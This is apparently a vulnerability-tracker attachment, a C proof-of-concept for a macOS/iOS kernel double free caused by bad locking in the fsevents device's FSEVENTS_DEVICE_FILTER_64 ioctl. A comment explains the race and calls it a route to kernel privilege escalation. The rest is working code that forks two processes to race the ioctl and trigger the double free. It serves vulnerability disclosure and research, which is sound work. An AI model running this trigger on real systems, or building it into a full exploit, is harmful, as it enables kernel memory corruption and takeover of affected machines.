New issue
Advanced search Search tips

Issue 1129 attachment: fsevents_race.c (3.8 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
// ianbeer
#if 0
MacOS/iOS kernel double free due to bad locking in fsevents device

fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents

Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl:

case FSEVENTS_DEVICE_FILTER_64:
if (!proc_is64bit(vfs_context_proc(ctx))) {
ret = EINVAL;
break;
}
devfilt_args = (fsevent_dev_filter_args64 *)data;

handle_dev_filter:
{
int new_num_devices;
dev_t *devices_not_to_watch, *tmp=NULL;

if (devfilt_args->num_devices > 256) {
ret = EINVAL;
break;
}

new_num_devices = devfilt_args->num_devices;
if (new_num_devices == 0) {
tmp = fseh->watcher->devices_not_to_watch; <------ (a)

lock_watch_table(); <------ (b)
fseh->watcher->devices_not_to_watch = NULL;
fseh->watcher->num_devices = new_num_devices;
unlock_watch_table(); <------ (c)

if (tmp) {
FREE(tmp, M_TEMP); <------ (d)
}
break;
}

There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a),
assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this.

This leads to a double free, which if you also race allocations from the same zone can lead to an
exploitable kernel use after free.

/dev/fsevents is:
crw-r--r-- 1 root wheel 13, 0 Feb 15 14:00 /dev/fsevents

so this is a privesc from either root or members of the wheel group to kernel

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2

(build with -O3)
#endif

#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <pthread.h>

#include <unistd.h>

typedef uint64_t user64_addr_t;

typedef struct fsevent_clone_args64 {
user64_addr_t event_list;
int32_t num_events;
int32_t event_queue_depth;
user64_addr_t fd;
} fsevent_clone_args64;

#define FSEVENTS_CLONE_64 _IOW('s', 1, fsevent_clone_args64)

#pragma pack(push, 4)
typedef struct fsevent_dev_filter_args64 {
uint32_t num_devices;
user64_addr_t devices;
} fsevent_dev_filter_args64;
#pragma pack(pop)

#define FSEVENTS_DEVICE_FILTER_64 _IOW('s', 100, fsevent_dev_filter_args64)

void* racer(void* thread_arg){
int fd = *(int*)thread_arg;
printf("started thread\n");

fsevent_dev_filter_args64 arg = {0};
int32_t dev = 0;

while (1) {
arg.num_devices = 1;
arg.devices = (user64_addr_t)&dev;
int err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg);

if (err == -1) {
perror("error in FSEVENTS_DEVICE_FILTER_64\n");
exit(EXIT_FAILURE);
}

arg.num_devices = 0;
arg.devices = (user64_addr_t)&dev;

err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg);

if (err == -1) {
perror("error in FSEVENTS_DEVICE_FILTER_64\n");
exit(EXIT_FAILURE);
}
}

return NULL;
}
int main(){
int fd = open("/dev/fsevents", O_RDONLY);
if (fd == -1) {
perror("can't open fsevents device, are you root?");
exit(EXIT_FAILURE);
}

// have to FSEVENTS_CLONE this to get the real fd
fsevent_clone_args64 arg = {0};
int event_fd = 0;
int8_t event = 0;


arg.event_list = (user64_addr_t)&event;
arg.num_events = 1;
arg.event_queue_depth = 1;
arg.fd = (user64_addr_t)&event_fd;

int err = ioctl(fd, FSEVENTS_CLONE_64, &arg);

if (err == -1) {
perror("error in FSEVENTS_CLONE_64\n");
exit(EXIT_FAILURE);
}

if (event_fd != 0) {
printf("looks like we got a new fd %d\n", event_fd);
} else {
printf("no new fd\n");
}

pid_t pid = fork();
if (pid == 0) {
racer(&event_fd);
} else {
racer(&event_fd);
}


return 1;
}